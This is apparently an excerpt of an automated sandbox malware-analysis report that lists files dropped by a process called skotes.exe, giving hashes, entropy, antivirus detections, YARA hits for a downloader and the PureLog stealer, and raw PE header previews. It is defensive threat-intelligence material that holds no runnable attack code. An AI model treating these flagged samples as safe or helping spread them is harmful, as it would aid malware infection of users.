                                                                                                                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):967680
                                                                                                                                                                                                                                                            Entropy (8bit):6.697128836982602
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:24576:TqDEvCTbMWu7rQYlBQcBiT6rprG8aYdAd:TTvC/MTQYxsWR7aY
                                                                                                                                                                                                                                                            MD5:DFB8C708CCB6C1DB1E96A93C74F43FED
                                                                                                                                                                                                                                                            SHA1:6744EEFE63B1576820DBFB280F688E84260CD15D
                                                                                                                                                                                                                                                            SHA-256:37CB8B12DC71E54353806CC79A1F274A1B2719407B18988D9BFC1641C539F36B
                                                                                                                                                                                                                                                            SHA-512:468C7011B96CDC5680918C0ECC50FA6606C576AE11E2ECD4B2AF42571DF912818356247EBCF5F18C412EE0F897260F5A0B16DBCFD650732DA1E16C786CB50DE8
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....acg..........".................w.............@.......................... .......r....@...@.......@.....................d...|....@...X.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....X...@...Z..................@..@.reloc...u.......v...N..............@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):1838592
                                                                                                                                                                                                                                                            Entropy (8bit):7.9480180719825
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:24576:UrDQ6pmRyeSkPdHxifiRY0jMMPtGHrd2Fhn084JoXSZH0CHlle+Vq5W6v+XgzB06:6aQvkFHfYMftGHRQ5+QM0CFWvrz3sN
                                                                                                                                                                                                                                                            MD5:FFD3E08783983AA539D8056C4A45755A
                                                                                                                                                                                                                                                            SHA1:35319D1DFD1ACCBF215EDF312D26C62FFE44193B
                                                                                                                                                                                                                                                            SHA-256:F0A572023009F960FC10A93F127DD60641929B63A63F9C51C8A0C2E2AEC6F5F0
                                                                                                                                                                                                                                                            SHA-512:079743895DBF994875F12309DB2493E1A6365A92E76AEA3E0494E2A99BEDD3E93A14298A6CEF1543AB00748D44AAD36F41FFAC841E0DE72F48458A66C701F4AF
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................H...........@.......................... I...........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... ..*..@.......^..............@...kohmmiqt.....P/......`..............@...dhywrchu......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):4438776
                                                                                                                                                                                                                                                            Entropy (8bit):7.99505709582503
                                                                                                                                                                                                                                                            Encrypted:true
                                                                                                                                                                                                                                                            SSDEEP:98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
                                                                                                                                                                                                                                                            MD5:3A425626CBD40345F5B8DDDD6B2B9EFA
                                                                                                                                                                                                                                                            SHA1:7B50E108E293E54C15DCE816552356F424EEA97A
                                                                                                                                                                                                                                                            SHA-256:BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
                                                                                                                                                                                                                                                            SHA-512:A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 88%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):2909696
                                                                                                                                                                                                                                                            Entropy (8bit):6.49883776741231
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:49152:IX6337a+EHNv/f8B+SYpe13OIdYc6MXdSndtc:IqG+EHNv/f8B+SYpe1DuHES
                                                                                                                                                                                                                                                            MD5:9122E2BCF23186C18F6600AA3548A997
                                                                                                                                                                                                                                                            SHA1:F1FB113D1659300FF0EDAE392398A51235685665
                                                                                                                                                                                                                                                            SHA-256:61B12BE55358B1356A682C7E891C42205AFCB367AC9025FEEFEC5B08A333BFCC
                                                                                                                                                                                                                                                            SHA-512:D7C6A752FE10D846EB15DEB16C2D3BBC800460C21AF6A75FB21A661D38F2EF023B3028CE535F80448123DA7D1191F815C971783132260758496DD6F5FC6950C4
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@...........................O.......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...yqsxqdye..*...$...*..|..............@...vpqvprng......O......@,.............@....taggant.0....O.."...D,.............@...........................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            File Type:data
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):64
                                                                                                                                                                                                                                                            Entropy (8bit):0.34726597513537405
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:3:Nlll:Nll
                                                                                                                                                                                                                                                            MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                                                                                                                                                                                                                            SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                                                                                                                                                                                                                            SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                                                                                                                                                                                                                            SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:@...e...........................................................

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):4438776
                                                                                                                                                                                                                                                            Entropy (8bit):7.99505709582503
                                                                                                                                                                                                                                                            Encrypted:true
                                                                                                                                                                                                                                                            SSDEEP:98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
                                                                                                                                                                                                                                                            MD5:3A425626CBD40345F5B8DDDD6B2B9EFA
                                                                                                                                                                                                                                                            SHA1:7B50E108E293E54C15DCE816552356F424EEA97A
                                                                                                                                                                                                                                                            SHA-256:BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
                                                                                                                                                                                                                                                            SHA-512:A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 88%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):3286016
                                                                                                                                                                                                                                                            Entropy (8bit):7.310046848182974
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
                                                                                                                                                                                                                                                            MD5:C00A67D527EF38DC6F49D0AD7F13B393
                                                                                                                                                                                                                                                            SHA1:7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
                                                                                                                                                                                                                                                            SHA-256:12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
                                                                                                                                                                                                                                                            SHA-512:9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Yara Hits:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe, Author: Joe Security
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 42%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z.*.........................................6+.(B.99(....*..:+.(.^A.(!...*.....*....(*...*.....*.......*.......*....(*...*..0..........(*...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....*s.........8.......0.............*.0.............*.0.............*.0.............*.0.............*....*.......*....0.............*.0.............*....*....0.............*....*...".......

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):4426752
                                                                                                                                                                                                                                                            Entropy (8bit):7.985351645352288
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:98304:gJf2TI4C0z0dAvtBgn2TRd5LWA9XZTO+NpL6714GxCZ9Zi9Qv/71C:4eTNC20S7gnKhWA9XZa4Gxq9Zi9Q5C
                                                                                                                                                                                                                                                            MD5:1BBA40CD593BED2B1F35529F02A1BC01
                                                                                                                                                                                                                                                            SHA1:A0D27BF89C1D0EF1DA317B101D134DD83A326FD9
                                                                                                                                                                                                                                                            SHA-256:0C9D197700BB3C5A707382A110A0466DAA05C6D44793A60248C69C1784B02237
                                                                                                                                                                                                                                                            SHA-512:F75B3E7EA9751B2E3F02D90DE33F46CEE91A2C464D2E32072DC3CA5AEF85CD3E46BE44E87AC1201B3B9FE08BA015522D9094869347AFE2809B30A3BC0C57182D
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...........PD...@................................{?D...@... ............................._.a.s.....a........................................................................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..8...a......R(.............@...ypghfgdd.............T(.............@...tqzciftt.............dC.............@....taggant.0......."...jC.............@...........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):1838592
                                                                                                                                                                                                                                                            Entropy (8bit):7.9480180719825
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:24576:UrDQ6pmRyeSkPdHxifiRY0jMMPtGHrd2Fhn084JoXSZH0CHlle+Vq5W6v+XgzB06:6aQvkFHfYMftGHRQ5+QM0CFWvrz3sN
                                                                                                                                                                                                                                                            MD5:FFD3E08783983AA539D8056C4A45755A
                                                                                                                                                                                                                                                            SHA1:35319D1DFD1ACCBF215EDF312D26C62FFE44193B
                                                                                                                                                                                                                                                            SHA-256:F0A572023009F960FC10A93F127DD60641929B63A63F9C51C8A0C2E2AEC6F5F0
                                                                                                                                                                                                                                                            SHA-512:079743895DBF994875F12309DB2493E1A6365A92E76AEA3E0494E2A99BEDD3E93A14298A6CEF1543AB00748D44AAD36F41FFAC841E0DE72F48458A66C701F4AF
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................H...........@.......................... I...........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... ..*..@.......^..............@...kohmmiqt.....P/......`..............@...dhywrchu......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):2909696
                                                                                                                                                                                                                                                            Entropy (8bit):6.49883776741231
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:49152:IX6337a+EHNv/f8B+SYpe13OIdYc6MXdSndtc:IqG+EHNv/f8B+SYpe1DuHES
                                                                                                                                                                                                                                                            MD5:9122E2BCF23186C18F6600AA3548A997
                                                                                                                                                                                                                                                            SHA1:F1FB113D1659300FF0EDAE392398A51235685665
                                                                                                                                                                                                                                                            SHA-256:61B12BE55358B1356A682C7E891C42205AFCB367AC9025FEEFEC5B08A333BFCC
                                                                                                                                                                                                                                                            SHA-512:D7C6A752FE10D846EB15DEB16C2D3BBC800460C21AF6A75FB21A661D38F2EF023B3028CE535F80448123DA7D1191F815C971783132260758496DD6F5FC6950C4
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@...........................O.......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...yqsxqdye..*...$...*..|..............@...vpqvprng......O......@,.............@....taggant.0....O.."...D,.............@...........................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):967680
                                                                                                                                                                                                                                                            Entropy (8bit):6.697128836982602
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:24576:TqDEvCTbMWu7rQYlBQcBiT6rprG8aYdAd:TTvC/MTQYxsWR7aY
                                                                                                                                                                                                                                                            MD5:DFB8C708CCB6C1DB1E96A93C74F43FED
                                                                                                                                                                                                                                                            SHA1:6744EEFE63B1576820DBFB280F688E84260CD15D
                                                                                                                                                                                                                                                            SHA-256:37CB8B12DC71E54353806CC79A1F274A1B2719407B18988D9BFC1641C539F36B
                                                                                                                                                                                                                                                            SHA-512:468C7011B96CDC5680918C0ECC50FA6606C576AE11E2ECD4B2AF42571DF912818356247EBCF5F18C412EE0F897260F5A0B16DBCFD650732DA1E16C786CB50DE8
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....acg..........".................w.............@.......................... .......r....@...@.......@.....................d...|....@...X.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....X...@...Z..................@..@.reloc...u.......v...N..............@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gqtoyyj.xxs.psm1

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):60
                                                                                                                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3lt2lto0.aa3.psm1

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):60
                                                                                                                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4i5eaio0.awk.ps1

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):60
                                                                                                                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cwp1jaem.mg1.ps1

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):60
                                                                                                                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i15y0k0h.fmg.ps1

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):60
                                                                                                                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kjjhamz2.am3.psm1

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):60
